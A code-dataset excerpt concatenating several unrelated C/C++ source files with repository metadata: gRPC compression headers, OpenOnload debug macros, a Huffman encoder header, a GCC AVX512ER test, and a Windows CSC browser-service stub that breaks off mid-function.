grpc_channel_args_get_channel_default_compression_algorithm(
const grpc_channel_args* a);
/** Returns a channel arg instance with compression enabled. If \a a is
* non-NULL, its args are copied. N.B. GRPC_COMPRESS_NONE disables compression
* for the channel. */
const grpc_channel_args*
grpc_channel_args_set_channel_default_compression_algorithm(
const grpc_channel_args* a, grpc_compression_algorithm algorithm);
/** Sets the support for the given compression algorithm. By default, all
* compression algorithms are enabled. It's an error to disable an algorithm set
* by grpc_channel_args_set_compression_algorithm.
*
* Returns an instance with the updated algorithm states. The \a a pointer is
* modified to point to the returned instance (which may be different from the
* input value of \a a). */
const grpc_channel_args* grpc_channel_args_compression_algorithm_set_state(
const grpc_channel_args** a, grpc_compression_algorithm algorithm,
int state);
/** Returns the bitset representing the support state (true for enabled, false
* for disabled) for compression algorithms.
*
* The i-th bit of the returned bitset corresponds to the i-th entry in the
* grpc_compression_algorithm enum. */
uint32_t grpc_channel_args_compression_algorithm_get_states(
const grpc_channel_args* a);
#endif /* GRPC_CORE_LIB_COMPRESSION_COMPRESSION_ARGS_H */
| 38.745763 | 80 | 0.784777 |
bd20ff049780d7a7a92e36b5d2c3226e49bf72da | 15,974 | h | C | openonload-201606-u1.3/src/include/ci/tools/debug.h | LeoBrilliant/OpenOnload | ce58f2afad8e2952d46e55326a8ec6a38c1269b9 | [
"MIT"
] | 1 | 2017-09-23T02:38:40.000Z | 2017-09-23T02:38:40.000Z | src/include/ci/tools/debug.h | JoshuaMichaelKing/OpenOnload | ec95511a6ebce56cc38db3ba2bb7d48b4af0dd56 | [
"BSD-3-Clause"
] | null | null | null | src/include/ci/tools/debug.h | JoshuaMichaelKing/OpenOnload | ec95511a6ebce56cc38db3ba2bb7d48b4af0dd56 | [
"BSD-3-Clause"
] | null | null | null | /*
** Copyright 2005-2017 Solarflare Communications Inc.
** 7505 Irvine Center Drive, Irvine, CA 92618, USA
** Copyright 2002-2005 Level 5 Networks Inc.
**
** This program is free software; you can redistribute it and/or modify it
** under the terms of version 2 of the GNU General Public License as
** published by the Free Software Foundation.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
*/
/****************************************************************************
* Copyright 2002-2005: Level 5 Networks Inc.
* Copyright 2005-2008: Solarflare Communications Inc,
* 9501 Jeronimo Road, Suite 250,
* Irvine, CA 92618, USA
*
* Maintained by Solarflare Communications
* <linux-xen-drivers@solarflare.com>
* <onload-dev@solarflare.com>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published
* by the Free Software Foundation, incorporated herein by reference.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
****************************************************************************
*/
/*! \cidoxg_include_ci_tools */
#ifndef __CI_TOOLS_DEBUG_H__
#define __CI_TOOLS_DEBUG_H__
#define CI_LOG_E(x) x /* errors */
#define CI_LOG_W(x) x /* warnings */
#define CI_LOG_I(x) x /* information */
#define CI_LOG_V(x) x /* verbose */
/* Build time asserts. We paste the line number into the type name
* so that the macro can be used more than once per file even if the
* compiler objects to multiple identical typedefs. Collisions
* between use in different header files is still possible. */
#ifndef CI_BUILD_ASSERT
#define __CI_BUILD_ASSERT_NAME(_x) __CI_BUILD_ASSERT_ILOATHECPP(_x)
#define __CI_BUILD_ASSERT_ILOATHECPP(_x) __CI_BUILD_ASSERT__ ##_x
#define CI_BUILD_ASSERT(e)\
typedef char __CI_BUILD_ASSERT_NAME(__LINE__)[(e)?1:-1] \
__attribute__((unused))
#endif
#ifdef _PREFAST_
# define _ci_check(e, f, l) __analysis_assume(e)
# define _ci_assert(e, f, l) __analysis_assume(e)
# define _ci_assert2(e, x, y, f, l) __analysis_assume(e)
# define _ci_assert_equal(x, y, f, l) __analysis_assume((x)==(y))
# define _ci_assert_nequal(x, y, f, l) __analysis_assume((x)!=(y))
# define _ci_assert_le(x, y, f, l) __analysis_assume((x)<=(y))
# define _ci_assert_lt(x, y, f, l) __analysis_assume((x)< (y))
# define _ci_assert_ge(x, y, f, l) __analysis_assume((x)>=(y))
# define _ci_assert_gt(x, y, f, l) __analysis_assume((x)> (y))
# define _ci_assert_or(x, y, f, l) __analysis_assume((x)||(y))
# define _ci_assert_impl(x, y, f, l) __analysis_assume(!(x) || (y))
# define _ci_assert_equiv(x, y, f, l) __analysis_assume((!(x)== !(y))
# define _ci_assert_flags(x, y, f, l) __analysis_assume((((x)&(y)) \
== (y)))
# define _ci_assert_nflags(x, y, f, l) __analysis_assume((((x)&(y))==0))
# define _ci_assert_equal_msg(x, y, m, f, l) __analysis_assume((x)==(y))
# define _ci_verify(exp, file, line) \
do { \
(void)(exp); \
} while (0)
# define CI_DEBUG_TRY(exp) \
do { \
(void)(exp); \
} while (0)
# define CI_TRACE(exp,fmt)
# define CI_TRACE_INT(integer)
# define CI_TRACE_INT32(integer)
# define CI_TRACE_INT64(integer)
# define CI_TRACE_UINT(integer)
# define CI_TRACE_UINT32(integer)
# define CI_TRACE_UINT64(integer)
# define CI_TRACE_HEX(integer)
# define CI_TRACE_HEX32(integer)
# define CI_TRACE_HEX64(integer)
# define CI_TRACE_PTR(pointer)
# define CI_TRACE_STRING(string)
# define CI_TRACE_MAC(mac)
# define CI_TRACE_IP(ip_be32)
# define CI_TRACE_ARP(arp_pkt)
#elif defined(NDEBUG)
# define _ci_check(exp, file, line) do{}while(0)
# define _ci_assert2(e, x, y, file, line) do{}while(0)
# define _ci_assert(exp, file, line) do{}while(0)
# define _ci_assert_equal(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_equiv(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_nequal(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_le(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_lt(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_ge(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_gt(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_impl(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_flags(exp1, exp2, file, line) do{}while(0)
# define _ci_assert_nflags(exp1, exp2, file, line) do{}while(0)
# define _ci_verify(exp, file, line) \
do { \
(void)(exp); \
} while (0)
# define CI_DEBUG_TRY(exp) \
do { \
(void)(exp); \
} while (0)
#define CI_TRACE(exp,fmt)
#define CI_TRACE_INT(integer)
#define CI_TRACE_INT32(integer)
#define CI_TRACE_INT64(integer)
#define CI_TRACE_UINT(integer)
#define CI_TRACE_UINT32(integer)
#define CI_TRACE_UINT64(integer)
#define CI_TRACE_HEX(integer)
#define CI_TRACE_HEX32(integer)
#define CI_TRACE_HEX64(integer)
#define CI_TRACE_PTR(pointer)
#define CI_TRACE_STRING(string)
#define CI_TRACE_MAC(mac)
#define CI_TRACE_IP(ip_be32)
#define CI_TRACE_ARP(arp_pkt)
#else
# define _CI_ASSERT_FMT "\nfrom %s:%d"
# define _ci_check(exp, file, line) \
do { \
if (CI_UNLIKELY(!(exp))) \
ci_warn(("ci_check(%s)"_CI_ASSERT_FMT, #exp, \
(file), (line))); \
} while (0)
/*
* NOTE: ci_fail() emits the file and line where the assert is actually
* coded.
*/
# define _ci_assert(exp, file, line) \
do { \
if (CI_UNLIKELY(!(exp))) \
ci_fail(("ci_assert(%s)"_CI_ASSERT_FMT, #exp, \
(file), (line))); \
} while (0)
/* NB Split one ci_fail() into ci_log+ci_log+ci_fail. With one ci_fail
* and long expression, we can get truncated output */
# define _ci_assert2(e, x, y, file, line) do { \
if(CI_UNLIKELY( ! (e) )) { \
ci_log("ci_assert(%s)", #e); \
ci_log("where [%s=%"CI_PRIx64"]", \
#x, (ci_uint64)(ci_uintptr_t)(x)); \
ci_log("and [%s=%"CI_PRIx64"]", \
#y, (ci_uint64)(ci_uintptr_t)(y)); \
ci_log("at %s:%d", __FILE__, __LINE__); \
ci_fail(("from %s:%d", (file), (line))); \
} \
} while (0)
# define _ci_verify(exp, file, line) \
do { \
if (CI_UNLIKELY(!(exp))) \
ci_fail(("ci_verify(%s)"_CI_ASSERT_FMT, #exp, \
(file), (line))); \
} while (0)
# define _ci_assert_equal(x, y, f, l) _ci_assert2((x)==(y), x, y, (f), (l))
# define _ci_assert_nequal(x, y, f, l) _ci_assert2((x)!=(y), x, y, (f), (l))
# define _ci_assert_le(x, y, f, l) _ci_assert2((x)<=(y), x, y, (f), (l))
# define _ci_assert_lt(x, y, f, l) _ci_assert2((x)< (y), x, y, (f), (l))
# define _ci_assert_ge(x, y, f, l) _ci_assert2((x)>=(y), x, y, (f), (l))
# define _ci_assert_gt(x, y, f, l) _ci_assert2((x)> (y), x, y, (f), (l))
# define _ci_assert_or(x, y, f, l) _ci_assert2((x)||(y), x, y, (f), (l))
# define _ci_assert_impl(x, y, f, l) _ci_assert2(!(x) || (y), x, y, (f), (l))
# define _ci_assert_equiv(x, y, f, l) _ci_assert2(!(x)== !(y), x, y, (f), (l))
# define _ci_assert_flags(x, y, f, l) _ci_assert2(((x)&(y))== (y), x, y, \
(f), (l))
# define _ci_assert_nflags(x, y, f, l) _ci_assert2(((x)&(y))== 0, x, y, \
(f), (l))
#define _ci_assert_equal_msg(exp1, exp2, msg, file, line) \
do { \
if (CI_UNLIKELY((exp1)!=(exp2))) \
ci_fail(("ci_assert_equal_msg(%s == %s) were " \
"(%"CI_PRIx64":%"CI_PRIx64") with msg[%c%c%c%c]" \
_CI_ASSERT_FMT, #exp1, #exp2, \
(ci_uint64)(ci_uintptr_t)(exp1), \
(ci_uint64)(ci_uintptr_t)(exp2), \
(((ci_uint32)msg) >> 24) && 0xff, \
(((ci_uint32)msg) >> 16) && 0xff, \
(((ci_uint32)msg) >> 8 ) && 0xff, \
(((ci_uint32)msg) ) && 0xff, \
(file), (line))); \
} while (0)
# define CI_DEBUG_TRY(exp) CI_TRY(exp)
#define CI_TRACE(exp,fmt) \
ci_log("%s:%d:%s] " #exp "=" fmt, \
__FILE__, __LINE__, __FUNCTION__, (exp))
#define CI_TRACE_INT(integer) \
ci_log("%s:%d:%s] " #integer "=%d", \
__FILE__, __LINE__, __FUNCTION__, (integer))
#define CI_TRACE_INT32(integer) \
ci_log("%s:%d:%s] " #integer "=%d", \
__FILE__, __LINE__, __FUNCTION__, ((ci_int32)integer))
#define CI_TRACE_INT64(integer) \
ci_log("%s:%d:%s] " #integer "=%lld", \
__FILE__, __LINE__, __FUNCTION__, ((ci_int64)integer))
#define CI_TRACE_UINT(integer) \
ci_log("%s:%d:%s] " #integer "=%ud", \
__FILE__, __LINE__, __FUNCTION__, (integer))
#define CI_TRACE_UINT32(integer) \
ci_log("%s:%d:%s] " #integer "=%ud", \
__FILE__, __LINE__, __FUNCTION__, ((ci_uint32)integer))
#define CI_TRACE_UINT64(integer) \
ci_log("%s:%d:%s] " #integer "=%ulld", \
__FILE__, __LINE__, __FUNCTION__, ((ci_uint64)integer))
#define CI_TRACE_HEX(integer) \
ci_log("%s:%d:%s] " #integer "=0x%x", \
__FILE__, __LINE__, __FUNCTION__, (integer))
#define CI_TRACE_HEX32(integer) \
ci_log("%s:%d:%s] " #integer "=0x%x", \
__FILE__, __LINE__, __FUNCTION__, ((ci_uint32)integer))
#define CI_TRACE_HEX64(integer) \
ci_log("%s:%d:%s] " #integer "=0x%llx", \
__FILE__, __LINE__, __FUNCTION__, ((ci_uint64)integer))
#define CI_TRACE_PTR(pointer) \
ci_log("%s:%d:%s] " #pointer "=0x%p", \
__FILE__, __LINE__, __FUNCTION__, (pointer))
#define CI_TRACE_STRING(string) \
ci_log("%s:%d:%s] " #string "=%s", \
__FILE__, __LINE__, __FUNCTION__, (string))
#define CI_TRACE_MAC(mac) \
ci_log("%s:%d:%s] " #mac "=" CI_MAC_PRINTF_FORMAT, \
__FILE__, __LINE__, __FUNCTION__, CI_MAC_PRINTF_ARGS(mac))
#define CI_TRACE_IP(ip_be32) \
ci_log("%s:%d:%s] " #ip_be32 "=" CI_IP_PRINTF_FORMAT, __FILE__, \
__LINE__, __FUNCTION__, CI_IP_PRINTF_ARGS(&(ip_be32)))
#define CI_TRACE_ARP(arp_pkt) \
ci_log("%s:%d:%s]\n"CI_ARP_PRINTF_FORMAT, \
__FILE__, __LINE__, __FUNCTION__, CI_ARP_PRINTF_ARGS(arp_pkt))
#endif /* NDEBUG */
#define ci_check(exp) \
_ci_check(exp, __FILE__, __LINE__)
#define ci_assert(exp) \
_ci_assert(exp, __FILE__, __LINE__)
#define ci_verify(exp) \
_ci_verify(exp, __FILE__, __LINE__)
#define ci_assert_equal(exp1, exp2) \
_ci_assert_equal(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_equal_msg(exp1, exp2, msg) \
_ci_assert_equal_msg(exp1, exp2, msg, __FILE__, __LINE__)
#define ci_assert_nequal(exp1, exp2) \
_ci_assert_nequal(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_le(exp1, exp2) \
_ci_assert_le(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_lt(exp1, exp2) \
_ci_assert_lt(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_ge(exp1, exp2) \
_ci_assert_ge(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_gt(exp1, exp2) \
_ci_assert_gt(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_impl(exp1, exp2) \
_ci_assert_impl(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_equiv(exp1, exp2) \
_ci_assert_equiv(exp1, exp2, __FILE__, __LINE__)
#define ci_assert_flags(val, flags) \
_ci_assert_flags(val, flags, __FILE__, __LINE__)
#define ci_assert_nflags(val, flags) \
_ci_assert_nflags(val, flags, __FILE__, __LINE__)
#define CI_TEST(exp) \
do{ \
if( CI_UNLIKELY(!(exp)) ) \
ci_fail(("CI_TEST(%s)", #exp)); \
}while(0)
/* Report -ve return codes and compare to wanted value */
#define CI_TRY_EQ(exp, _want) \
do{ \
int _trc; \
int want = (int)(_want); \
_trc=(exp); \
if( CI_UNLIKELY(_trc < 0) ) \
ci_sys_fail(#exp, _trc); \
if( CI_UNLIKELY(_trc != (want)) ) \
ci_fail(("CI_TRY_EQ(('%s')%d != %d)", #exp, _trc, want)); \
}while(0)
#define CI_TRY(exp) \
do{ \
int _trc; \
_trc=(exp); \
if( CI_UNLIKELY(_trc < 0) ) \
ci_sys_fail(#exp, _trc); \
}while(0)
#define CI_TRY_RET(exp) \
do{ \
int _trc; \
_trc=(exp); \
if( CI_UNLIKELY(_trc < 0) ) { \
ci_log("%s returned %d at %s:%d", #exp, _trc, __FILE__, __LINE__); \
return _trc; \
} \
}while(0)
#define CI_LOGLEVEL_TRY_RET(logfn, exp) \
do{ \
int _trc; \
_trc=(exp); \
if( CI_UNLIKELY(_trc < 0) ) { \
logfn (ci_log("%s returned %d at %s:%d", #exp, _trc, __FILE__, __LINE__)); \
return _trc; \
} \
}while(0)
#define CI_SOCK_TRY(exp) \
do{ \
ci_sock_err_t _trc; \
_trc=(exp); \
if( CI_UNLIKELY(!ci_sock_errok(_trc)) ) \
ci_sys_fail(#exp, _trc.val); \
}while(0)
#define CI_SOCK_TRY_RET(exp) \
do{ \
ci_sock_err_t _trc; \
_trc=(exp); \
if( CI_UNLIKELY(!ci_sock_errok(_trc)) ) { \
ci_log("%s returned %d at %s:%d", #exp, _trc.val, __FILE__, __LINE__); \
return ci_sock_errcode(_trc); \
} \
}while(0)
#define CI_SOCK_TRY_SOCK_RET(exp) \
do{ \
ci_sock_err_t _trc; \
_trc=(exp); \
if( CI_UNLIKELY(!ci_sock_errok(_trc)) ) { \
ci_log("%s returned %d at %s:%d", #exp, _trc.val, __FILE__, __LINE__); \
return _trc; \
} \
}while(0)
#endif /* __CI_TOOLS_DEBUG_H__ */
/*! \cidoxg_end */
| 37.32243 | 82 | 0.537686 |
bd2124a1bb355df6f156f7fec2849ab990ad6755 | 6,520 | h | C | src/utils/HuffmanEncoding.h | WebAssembly/decompressor-prototype | 44075ebeef75b950fdd9c0cd0b369928ef05a09c | [
"Apache-2.0"
] | 11 | 2016-07-08T20:43:29.000Z | 2021-05-09T21:43:34.000Z | src/utils/HuffmanEncoding.h | DalavanCloud/decompressor-prototype | 44075ebeef75b950fdd9c0cd0b369928ef05a09c | [
"Apache-2.0"
] | 62 | 2016-06-07T15:21:24.000Z | 2017-05-18T15:51:04.000Z | src/utils/HuffmanEncoding.h | DalavanCloud/decompressor-prototype | 44075ebeef75b950fdd9c0cd0b369928ef05a09c | [
"Apache-2.0"
] | 5 | 2016-06-07T15:05:32.000Z | 2020-01-06T17:21:43.000Z | /* -*- C++ -*- */
//
// Copyright 2016 WebAssembly Community Group participants
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Defines a binary tree encoding huffman values.
//
// Initially, the alphabet is defined by creating instances of class Symbol.
// Each symbol in the alphabet is given a probability that is used to define the
// corresponding Huffman encoding for that value.
//
// Note: Probabilities are not used. Rather, weighted values are. The
// probability for any symbol is it's weigth divided by the sum of weights of
// all symbols in the alphabet.
//
// Note: This implementation limits the binary (Huffman) encodings to 64 bits.
// This is done to guarantee that each path can be represented as an integer.
// If necessary, symbols with path length greater than 64 bits are "balanced"
// with their parents until all paths meet the 64 bit limitation.
//
// In addition, to make sure that path values are unique, independent of the
// number of bits used for the encoding, they are encoded from leaf to root
// (i.e. the least significant bit always represents the first bit of the path).
#ifndef DECOMPRESSOR_SRc_UTILS_HEAP_H
#define DECOMPRESSOR_SRc_UTILS_HEAP_H
#include "utils/Casting.h"
#include "utils/Defs.h"
#include <functional>
#include <memory>
#include <vector>
namespace wasm {
namespace utils {
class HuffmanEncoder : public std::enable_shared_from_this<HuffmanEncoder> {
public:
class Node;
class Symbol;
class Selector;
typedef uint64_t PathType;
typedef uint64_t WeightType;
typedef std::shared_ptr<Node> NodePtr;
typedef std::shared_ptr<Symbol> SymbolPtr;
typedef std::shared_ptr<Selector> SelectorPtr;
typedef std::function<bool(NodePtr, NodePtr)> NodePtrLtFcnType;
static constexpr unsigned MaxPathLength = sizeof(PathType) * CHAR_BIT;
enum class NodeType : int { Selector, Symbol };
// Node used to encode binary paths of Huffman encoding.
class Node : public std::enable_shared_from_this<Node> {
Node() = delete;
Node(const Node&) = delete;
Node& operator=(const Node&) = delete;
friend class HuffmanEncoder;
public:
explicit Node(NodeType Type, WeightType Weight);
virtual ~Node();
NodeType getType() const { return Type; }
WeightType getWeight() const { return Weight; }
NodeType getRtClassId() const { return Type; }
virtual int compare(Node* Nd) const;
// For debugging
virtual void describe(FILE* Out, bool brief = true, size_t Indent = 0) = 0;
protected:
const NodeType Type;
// The weight of all symbols in the subtree.
WeightType Weight;
// Note: Installs Huffman encoding values into leaves, based on path and
// number of bits. Returns false if parent needs to rebalance because
// it was unable to install with path limit.
virtual NodePtr installPaths(NodePtr Self,
HuffmanEncoder& Encoder,
PathType Path,
unsigned NumBits) = 0;
// Returns number of nodes in tree.
virtual size_t nodeSize() const = 0;
// For debugging.
void indentTo(FILE* Out, size_t Indent);
};
// Defines a symbol in the alphabet being Huffman encoded. Note: Only
// construct using std::make_shared<>.
class Symbol : public Node {
Symbol(const Symbol&) = delete;
Symbol& operator=(const Symbol&) = delete;
public:
// Note: Path and number of bits are not defined until installed.
Symbol(size_t Id, WeightType Weight);
~Symbol() OVERRIDE;
PathType getPath() const { return Path; }
unsigned getNumBits() const { return NumBits; }
// Unique integer that identifies symbol.
size_t getId() const { return Id; }
static bool implementsClass(NodeType Type) {
return Type == NodeType::Symbol;
}
int compare(Node* Nd) const OVERRIDE;
void describe(FILE* Out, bool brief = true, size_t Indent = 0) OVERRIDE;
protected:
NodePtr installPaths(NodePtr Self,
HuffmanEncoder& Encoder,
PathType Path,
unsigned NumBits) OVERRIDE;
size_t nodeSize() const OVERRIDE;
private:
size_t Id;
PathType Path;
unsigned NumBits;
};
// Defines (binary) selector tree node.
class Selector : public Node {
Selector() = delete;
Selector(const Selector&) = delete;
Selector& operator=(const Selector&) = delete;
public:
Selector(size_t Id, NodePtr Kid1, NodePtr Kid2);
~Selector() OVERRIDE;
NodePtr getKid1() const { return Kid1; }
NodePtr getKid2() const { return Kid2; }
static bool implementsClass(NodeType Type) {
return Type == NodeType::Selector;
}
int compare(Node* Nd) const OVERRIDE;
void describe(FILE* Out, bool Brief = true, size_t Indent = 0) OVERRIDE;
protected:
void fixFields();
NodePtr installPaths(NodePtr Self,
HuffmanEncoder& Encoder,
PathType Path,
unsigned NumBits) OVERRIDE;
size_t nodeSize() const OVERRIDE;
private:
size_t Id;
NodePtr Kid1;
NodePtr Kid2;
size_t Size;
};
HuffmanEncoder();
~HuffmanEncoder();
// Add the given symbol to the alphabet to be encoded.
SymbolPtr createSymbol(WeightType Weight);
NodePtr getSymbol(size_t Id) const;
// Define the Huffman encodings for each symbol in the alphabet.
// Returns the root of the corresponding tree defining the encoded
// symbols.
NodePtr encodeSymbols();
size_t getMaxPathLength() const { return MaxAllowedPath; }
void setMaxPathLength(unsigned NewSize);
size_t getNextSelectorId() { return NextSelectorId++; }
NodePtrLtFcnType getNodePtrLtFcn() { return NodePtrLtFcn; }
protected:
std::vector<NodePtr> Alphabet;
unsigned MaxAllowedPath;
size_t NextSelectorId;
NodePtrLtFcnType NodePtrLtFcn;
};
} // end of namespace utils
} // end of namespace wasm
#endif // DECOMPRESSOR_SRc_UTILS_HEAP_H
| 31.047619 | 80 | 0.688804 |
bd217e8228f3a8f2bf6bbe72c6382f4ee4aea3a4 | 613 | c | C | gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/i386/avx512er-vrsqrt28sd-2.c | best08618/asylo | 5a520a9f5c461ede0f32acc284017b737a43898c | [
"Apache-2.0"
] | 7 | 2020-05-02T17:34:05.000Z | 2021-10-17T10:15:18.000Z | gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/i386/avx512er-vrsqrt28sd-2.c | best08618/asylo | 5a520a9f5c461ede0f32acc284017b737a43898c | [
"Apache-2.0"
] | null | null | null | gcc-gcc-7_3_0-release/gcc/testsuite/gcc.target/i386/avx512er-vrsqrt28sd-2.c | best08618/asylo | 5a520a9f5c461ede0f32acc284017b737a43898c | [
"Apache-2.0"
] | 2 | 2020-07-27T00:22:36.000Z | 2021-04-01T09:41:02.000Z | /* { dg-do run } */
/* { dg-require-effective-target avx512er } */
/* { dg-options "-O2 -mavx512er" } */
#include "avx512er-check.h"
#include "avx512f-mask-type.h"
#include "avx512f-helper.h"
#include <math.h>
void static
avx512er_test (void)
{
union128d src1, src2, res;
double res_ref[2];
int i;
for (i = 0; i < 2; i++)
{
src1.a[i] = 179.345 - 6.5645 * i;
src2.a[i] = 45 - 6.5645 * i;
res_ref[i] = src1.a[i];
}
res_ref[0] = 1.0 / sqrt (src2.a[0]);
res.x = _mm_rsqrt28_round_sd (src1.x, src2.x, _MM_FROUND_NO_EXC);
if (checkVd (res.a, res_ref, 2))
abort ();
}
| 19.774194 | 67 | 0.574225 |
bd228786d360c6ff9a1512e12070849a79b2a96f | 8,090 | c | C | ds/netapi/svcdlls/browser/client/csc.c | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | ds/netapi/svcdlls/browser/client/csc.c | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | ds/netapi/svcdlls/browser/client/csc.c | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | /*++
Copyright (c) 1997 Microsoft Corporation
Module Name:
csc.c
Abstract:
These are the browser service API RPC client stubs for CSC
--*/
#include <nt.h>
#include <ntrtl.h>
#include <nturtl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <rpcutil.h>
#include <lmcons.h>
#include <lmerr.h>
#include <lmapibuf.h>
#include <lmserver.h>
#include "cscp.h"
static FARPROC pCSCFindFirstFile = NULL;
static FARPROC pCSCFindNextFile = NULL;
static FARPROC pCSCFindClose = NULL;
static FARPROC pCSCIsServerOffline = NULL;
BrowserGetCSCEntryPoints()
{
HANDLE hMod;
if( pCSCFindFirstFile == NULL ) {
//
// Get the entry points in reverse order for multithread protection
//
hMod = LoadLibrary(L"cscdll.dll");
if( hMod == NULL ) {
return 0;
}
pCSCFindClose = GetProcAddress(hMod,"CSCFindClose");
if( pCSCFindClose == NULL ) {
return 0;
}
pCSCFindNextFile = GetProcAddress(hMod,"CSCFindNextFileW" );
if( pCSCFindNextFile == NULL ) {
return 0;
}
pCSCIsServerOffline = GetProcAddress(hMod, "CSCIsServerOfflineW" );
if( pCSCIsServerOffline == NULL ) {
return 0;
}
pCSCFindFirstFile = GetProcAddress(hMod,"CSCFindFirstFileW" );
}
return pCSCFindFirstFile != 0;
}
BOOLEAN NET_API_FUNCTION
CSCIsOffline()
{
BOOL isOffline;
if( BrowserGetCSCEntryPoints() &&
pCSCIsServerOffline( NULL, &isOffline ) &&
isOffline == TRUE ) {
return TRUE;
}
return FALSE;
}
NET_API_STATUS NET_API_FUNCTION
CSCNetServerEnumEx(
IN DWORD level,
OUT LPBYTE *bufptr,
IN DWORD prefmaxlen,
OUT LPDWORD entriesread,
OUT LPDWORD totalentries
)
/*++
Arguments:
level - Supplies the requested level of information.
bufptr - Returns a pointer to a buffer which contains the
requested transport information.
prefmaxlen - Supplies the number of bytes of information to return in the buffer.
Ignored for this case.
entriesread - Returns the number of entries read into the buffer.
totalentries - Returns the total number of entries available.
--*/
{
HANDLE hFind = INVALID_HANDLE_VALUE;
WIN32_FIND_DATAW sFind32;
DWORD dwError, dwStatus, dwPinCount, dwHintFlags;
FILETIME ftOrgTime;
NET_API_STATUS apiStatus;
LPWSTR server, share;
PBYTE outbuf = NULL, endp;
DWORD count, numFound, serverlen;
try {
count = 1024;
retry:
numFound = 0;
//
// Allocate space for the results
//
if( outbuf != NULL ) {
NetApiBufferFree( outbuf );
outbuf = NULL;
count *= 2;
}
apiStatus = NetApiBufferAllocate( count, &outbuf );
if( apiStatus != NO_ERROR ) {
goto try_exit;
}
endp = outbuf + count;
RtlZeroMemory( outbuf, count );
//
// See if we can enumerate the cached servers and shares
//
if( hFind != INVALID_HANDLE_VALUE ) {
pCSCFindClose( hFind );
hFind = INVALID_HANDLE_VALUE;
}
hFind = (HANDLE)pCSCFindFirstFile( NULL,
&sFind32,
&dwStatus,
&dwPinCount,
&dwHintFlags,
&ftOrgTime
);
if( hFind == INVALID_HANDLE_VALUE ) {
NetApiBufferFree( outbuf );
apiStatus = ERROR_NOT_SUPPORTED;
goto try_exit;
}
do {
//
// For each entry, take a look to see if it's one that we want. If
// it is one, pack the results into the output buffer. If the output
// buffer is too small, grow the buffer and start over again.
//
//
// The name returned should be \\server\sharename
//
if( sFind32.cFileName[0] != L'\\' || sFind32.cFileName[1] != L'\\' ||
sFind32.cFileName[2] == L'\0' ) {
//
// We got a strange server name entry
//
continue;
}
server = &sFind32.cFileName[2];
for( share = server; *share && *share != '\\'; share++ );
if( share[0] != '\\' ) {
//
// No share component?
//
continue;
}
//
// NULL terminate the servername
//
*share++ = L'\0';
serverlen = (DWORD)(share - server) * sizeof( WCHAR ) ;
//
// We've found a server entry!
//
if( level == 0 ) {
PSERVER_INFO_100 s100 = (PSERVER_INFO_100)outbuf + numFound;
PSERVER_INFO_100 s;
if( (PBYTE)(endp - serverlen) < (PBYTE)(s100 + sizeof( s100 )) ) {
goto retry;
}
//
// If we've already gotten this server, skip it
//
for( s = (PSERVER_INFO_100)outbuf; s < s100; s++ ) {
if( !lstrcmpiW( s->sv100_name, server ) ) {
break;
}
}
if( s != s100 ) {
continue;
}
endp -= serverlen;
RtlCopyMemory( endp, server, serverlen );
s100->sv100_name = (LPWSTR)endp;
s100->sv100_platform_id = SV_PLATFORM_ID_NT;
} else {
PSERVER_INFO_101 s101 = (PSERVER_INFO_101)outbuf + numFound;
PSERVER_INFO_101 s;
if( (PBYTE)(endp - serverlen) < (PBYTE)(s101 + sizeof( s101 )) ) {
goto retry;
}
//
// If we've already gotten this server, skip it
//
for( s = (PSERVER_INFO_101)outbuf; s < s101; s++ ) {
if( !lstrcmpiW( s->sv101_name, server ) ) {
break;
}
}
if( s != s101 ) {
continue;
}
endp -= serverlen;
RtlCopyMemory( endp, server, serverlen );
s101->sv101_name = (LPWSTR)endp;
s101->sv101_platform_id = SV_PLATFORM_ID_NT;
s101->sv101_version_major = 5;
s101->sv101_version_minor = 0;
s101->sv101_type = SV_TYPE_SERVER;
s101->sv101_comment = (LPWSTR)(endp + serverlen - sizeof(WCHAR));
}
numFound++;
} while( pCSCFindNextFile(hFind, &sFind32, &dwStatus, &dwPinCount, &dwHintFlags, &ftOrgTime) );
pCSCFindClose(hFind);
if( numFound != 0 ) {
apiStatus = NERR_Success;
} else {
NetApiBufferFree( outbuf );
